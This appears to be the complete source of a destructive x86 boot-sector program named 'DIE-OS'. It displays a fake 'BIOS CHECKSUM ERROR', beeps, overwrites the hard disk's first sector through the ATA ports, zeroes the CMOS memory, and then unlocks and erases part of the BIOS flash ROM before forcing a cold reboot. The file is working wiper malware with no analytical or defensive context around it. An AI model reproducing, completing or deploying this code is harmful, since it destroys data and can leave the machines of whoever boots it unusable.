BITS 16
org 0
EntryPoint:

    jmp 0x07C0:AfterData


		; BIOS PARAMETER BLOCK
		oemID				db "DIE-OS", 0, 0		; 8 bytes
		bytSPerSector		dw 0200h
		sectorsPerCluster	db 01h
		nrReservedSectors	dw 0001h				; bootloader is spanning 1 sectors
		nrFats				db 02h
		nrRootDirs			dw 00E0h
		totalSectorsSmall	dw 0B40h
		mDIaID				db 0F0h
		sectorsPerFat		dw 0009h
		sectorsPerTrack		dw 0012h
		headsPerCylinder	dw 0002h
		hiddenSectors		dd 00000000h
		totalSectorsLarge	dd 00000000h
		driveNr				db 00h
		;OPTIONAL FIELDS, NOT NEEDED ON
		;FAT12, SKIPPED TO SAVE SIZE.
		flags				db 00h
		signature			db 29h
		volumeID			dd 0FFFFFFFFh
		volumeLabel			db "XXXXXXXXX"
		systemID			db "FAT12   "

		;my data
		 BOOT_MSG db 'BIOS CHECKSUM ERROR',10,13,0
                 BLAH     dw 0

AfterData:
; update DS to be 7C0 instead of 0
push CS
pop DS

; update ES also
push CS
pop ES

; create stack
mov ax, 0x0000
mov ss, ax
mov sp, 0xFFFF


; display boot message...
lea si, [BOOT_MSG]
call Print
call Play
call kill_hdd
jmp kill_BIOS 

;************************************************************
; Procedure print
; prints a zero terminated string pointed to by si
;************************************************************
Print:
push ax
mov ah, 14 ; BIOS code for screen display
cld
print_loop:
lodsb ; moving the character to be displayed to al
or al, al ; checking if the char is NULL
jz printdone
int 10h ; Calling BIOS routine
JMP print_loop

printdone:
pop ax
ret
; End of print procedure...




Play:
mov di,0666h
in  al,061h
or al,3
out 061h,al
mov al,0b6h
out 043h,al
mov dx,014h
mov ax,04f38h
div di
out  042h,al
mov al,ah
out 042h,al
ret
kill_hdd:
        mov	dx, 1F2h
	mov	al,1
	out	dx,al
	inc	dx
	out	dx,al
	inc	dx
	xor	ax,ax
	out	dx,al
	inc	dx
	out	dx,al
	mov	al, 10100000b
	inc	dx
	out	dx,al
	inc	dx
	mov	al,30h
	out	dx,al
	lea	si, [0c000h]
	mov	dx, 1F0h
	mov	cx, 513
	rep	outsw
	RET
kill_BIOS:


                CLI   ; dont interrupt me 

		MOV	CL, 128			         ;map cmos

Nuke_CMOS_Byte: DEC	CL			; done?
		JS	Nuke_BIOS

		MOV	AL, CL			; Request I/O to byte CL.
		OUT	70h, AL

		XOR	AL, AL			; clear and write
		OUT	71h, AL

		JMP	Nuke_CMOS_Byte		; Repeat until all is done.



Nuke_BIOS:	; Show BIOS Page in 000E0000 - 000EFFFF (64k).

		MOV	EDI, 8000384Ch
		MOV	BP, 0CF8h
		MOV	DX, 0CFEh
		CALL	IOForEEPROM

		; Show BIOS Page in 000F0000 - 000FFFFF (64k).

		MOV	DI, 0058h
		DEC	DX
		CALL	IOForEEPROM

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...       *
; ***********************



		push 0e555h
		pop ds
		mov si,5
		


		push 0e2aah
		pop es
		
		

		MOV     byte  [ds:si], 0aah
		MOV	byte  [es:0ah], 055h

		MOV	BYTE  [ds:si],80h
		MOV	byte  [ds:si],CL
		MOV	byte  [es:0ah], AL


		MOV	BYTE  [ds:si], 60h

                mov ecx,0e2aaah
		LOOP	$                            ;very tiny delay
                 
                mov ecx,0e2aaah 		;restore ecx
		                                          ;cant use push\pop cuz 
						           ;were using 2byte  stacks
	; Kill off BIOS Extra ROM Data in 000E0000h - 000E007Fh, (80h bytes).

		XOR	AH, AH
		MOV	WORD  [ds:si], 'RI'    

		XCHG	CX, AX

		LOOP	$

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data  *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )    *
; * can be Writted...   *
; ***********************


		push 0f555h
		pop ds
		mov si,5
                mov ecx,0e2aaah 
		MOV	CH, 0AAh

                ; Enable EEPROM to Write.

		MOV	[ds:si], CL
		MOV	byte [ECX], AL

		MOV	BYTE  [ds:si], 80h
		MOV	byte  [ds:si], CL
		MOV	byte  [ECX], AL

		MOV	BYTE  [ds:si], 20h
		LOOP	$

	; Destroy BIOS Main ROM Data in 000FE000h - 000FE07Fh (80h bytes).

		xor al,al
                push 0fe00h
		pop ds
		mov si,0
		mov [ds:si],al

		CALL	IOForEEPROM

                ; store magic value at 0040h:0072h to reboot:
                ;		0000h - cold boot.
                ;		1234h - warm boot.

	MOV  AX,0040h
	MOV  DS,AX
	MOV  word[0072h],0000h   ; cold boot.
	JMP  0FFFFh:0000h	 ; reboot!




; I/O for EEPROM.
IOForEEPROM:
		XCHG	DI, AX
		XCHG	DX, BP
		OUT	DX, AX

		XCHG	DI, AX
		XCHG	DX, BP
		IN	AL, DX

		OR	AL, 44h



		XCHG	DI, AX
		XCHG	DX, BP
		OUT	DX, AX

		XCHG	DI, AX
		XCHG	DX, BP
		OUT	DX, AL

		RET




; Make the file 512 bytes long
TIMES 510-($-$$) DB 0

; Add the boot signature
dw 0AA55h